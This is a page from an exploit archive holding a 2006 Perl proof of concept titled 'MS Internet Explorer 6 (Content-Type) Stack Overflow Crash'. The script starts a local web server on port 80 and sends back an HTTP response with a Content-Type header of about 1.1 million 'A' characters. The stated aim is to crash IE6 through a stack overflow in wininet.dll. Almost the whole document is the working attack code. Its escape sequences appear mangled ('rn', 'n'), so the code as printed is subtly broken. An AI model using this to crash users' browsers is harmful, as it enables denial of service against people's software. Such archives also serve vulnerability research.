[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Internet Explorer 6 (Content-Type) Stack Overflow Crash
# Published : 2006-07-20
# Author : Firestorm
# Previous Title : MS Windows Mailslot Ring0 Memory Corruption Exploit (MS06-035)
# Next Title : Dumb <= 0.9.3 (it_read_envelope) Remote Heap Overflow PoC


#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage: 
#	  1) run this code
#       2) open http://127.0.0.1/ with IE
#	     

use IO::Socket;
my $sock=new IO::Socket::INET (Listen    => 1,
                                 LocalAddr => 'localhost',
                                 LocalPort => 80,
                                 Proto     => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' n";
$z=$sock->accept();
print ">connection!n";
do
{
	$ln=<$z>;
	print $ln;
	chomp $ln;
	
	if (($ln eq "")||($ln eq "n")||($ln eq "r"))
	{
		print ">sending responsen";
		print $z "HTTP/1.1 200 OKrnServer: X3 1.0rnContent-Type: $hugernConnection: closernrndone";
		close($z);
		exit;
	}
} while (true);

# www.Syue.com [2006-07-20]